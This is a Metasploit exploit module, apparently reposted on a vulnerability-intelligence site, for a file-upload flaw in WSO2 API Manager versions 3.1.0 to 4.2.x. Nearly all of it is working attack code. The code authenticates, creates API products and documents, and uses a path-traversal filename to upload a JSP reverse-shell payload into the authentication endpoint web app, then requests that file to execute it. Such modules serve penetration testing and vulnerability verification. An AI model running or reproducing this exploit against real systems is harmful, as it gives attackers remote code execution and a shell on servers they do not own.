Vulnerability in WSO2 API Manager allows file upload leading to remote code execution.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
attr_accessor :bearer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution',
'Description' => %q{
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
},
'Author' => [
'Siebene@ <@Siebene7>', # Discovery
'Heyder Andrade <@HeyderAndrade>', # metasploit module
'Redway Security <redwaysecurity.com>' # Writeup and PoC
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC
[ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup
[ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ]
],
'DefaultOptions' => {
'Payload' => 'java/jsp_shell_reverse_tcp',
'SSL' => true,
'RPORT' => 9443
},
'Platform' => %w[linux win],
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
[
'Automatic', {}
],
[
'WSO2 API Manager (3.1.0 - 4.0.0)', {
'min_version' => '3.1.0',
'max_version' => '4.0.9',
'api_version' => 'v2'
},
],
[
'WSO2 API Manager (4.1.0)', {
'min_version' => '4.1.0',
'max_version' => '4.1.9',
'api_version' => 'v3'
}
],
[
'WSO2 API Manager (4.2.0)', {
'min_version' => '4.2.0',
'max_version' => '4.2.9',
'api_version' => 'v4'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-05-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']),
OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']),
OptString.new('HttpPassword', [true, 'WSO2 API manager password', ''])
]
)
end
def check
vprint_status('Checking target...')
begin
authenticate
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
'method' => 'GET',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/
xml = res.get_xml_document
xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
version = Rex::Version.new ::Regexp.last_match(1)
return CheckCode::Unknown('Unable to determine version') unless version
return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9')
)
if target.name == 'Automatic'
# Find the target based on the detected version
selected_target_index = nil
targets.each_with_index do |t, idx|
if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version']))
selected_target_index = idx
break
end
end
return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index
# Set the target
datastore['TARGET'] = selected_target_index
vprint_status("Automatically selected target: #{target.name} for version #{version}")
else
vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?(
Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version'])
)
end
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.")
end
def authenticate
nounce = nil
opts = {
'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
'method' => 'GET',
'headers' => {
'Connection' => 'keep-alive'
},
'keep_cookies' => true
}
res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth
if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
vprint_status('Got session nonce')
nounce = ::Regexp.last_match(1)
end
fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce
auth_data = {
'usernameUserInput' => datastore['HttpUsername'],
'username' => datastore['HttpUsername'],
'password' => datastore['HttpPassword'],
'sessionDataKey' => nounce
}
opts = {
'uri' => normalize_uri(target_uri.path, '/commonauth'),
'method' => 'POST',
'headers' => {
'Connection' => 'keep-alive'
},
'keep_cookies' => true,
'vars_post' => auth_data
}
res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth
if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
vprint_status('Got bearer token')
self.bearer = ::Regexp.last_match(1)
end
fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer
print_good('Authentication successful')
end
def list_product_api
vprint_status('Listing products APIs...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
'vars_get' => {
'limit' => 10,
'offset' => 0
},
'method' => 'GET',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200
api_list = res.get_json_document['list']
if api_list.empty?
print_error('No Products API available')
print_status('Trying to create an API...')
api_list = [create_product_api]
end
return api_list
end
def create_api
api_data = {
'name' => Faker::App.name,
'description' => Faker::Lorem.sentence,
'context' => "/#{Faker::Internet.slug}",
'version' => Faker::App.version,
'transport' => ['http', 'https'],
'tags' => [Faker::ProgrammingLanguage.name],
'policies' => ['Unlimited'],
'securityScheme' => ['oauth2'],
'visibility' => 'PUBLIC',
'businessInformation' => {
'businessOwner' => Faker::Name.name,
'businessOwnerEmail' => Faker::Internet.email,
'technicalOwner' => Faker::Name.name,
'technicalOwnerEmail' => Faker::Internet.email
},
'endpointConfig' => {
'endpoint_type' => 'http',
'sandbox_endpoints' => {
'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
},
'production_endpoints' => {
'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
}
},
'operations' => [
{
'target' => "/#{Faker::Internet.slug}",
'verb' => 'GET',
'throttlingPolicy' => 'Unlimited',
'authType' => 'Application & Application User'
}
]
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => api_data.to_json
)
fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201
print_good('API created successfully')
return res.get_json_document
end
def create_product_api
@api_id = create_api['id']
product_api_data = {
'name' => Faker::App.name,
'context' => Faker::Internet.slug,
'policies' => ['Unlimited'],
'apis' => [
{
'name' => '',
'apiId' => @api_id,
'operations' => [],
'version' => '1.0.0'
}
],
'transport' => ['http', 'https']
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => product_api_data.to_json
)
fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201
@api_created = true
print_good('API Product created successfully')
return res.get_json_document
end
def create_document(api_id)
doc_data = {
'name' => Rex::Text.rand_text_alpha(4..7),
'type' => 'HOWTO',
'summary' => Faker::Lorem.sentence,
'sourceType' => 'FILE',
'visibility' => 'API_LEVEL'
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => doc_data.to_json
)
unless res&.code == 201
vprint_error("Failed to create document for API #{api_id}")
return
end
print_good('Document created successfully')
return res.get_json_document['documentId']
end
def upload_payload(api_id, doc_id)
print_status('Uploading payload...')
post_data = Rex::MIME::Message.new
post_data.bound = rand_text_numeric(32)
post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201
register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")
print_good("Payload uploaded successfully. File: #{jsp_filename}")
return res
end
def execute_payload
print_status('Executing payload... ')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200
print_good('Payload executed successfully')
handler
end
def exploit
authenticate unless bearer
api_avaliable = list_product_api
api_avaliable.each do |product_api|
@product_api_id = product_api['id']
@doc_id = create_document(@product_api_id)
next unless @doc_id
res = upload_payload(@product_api_id, @doc_id)
if res&.code == 201
execute_payload
break
end
end
end
def cleanup
return unless session_created?
super
# If we have created the API, we need to delete it; thus the documentation
return delele_product_api && delele_api if @api_created
# If the API was already there, we deleted only the documentation.
delete_document
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end
def delete_document
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
def delele_api
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
def delele_product_api
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo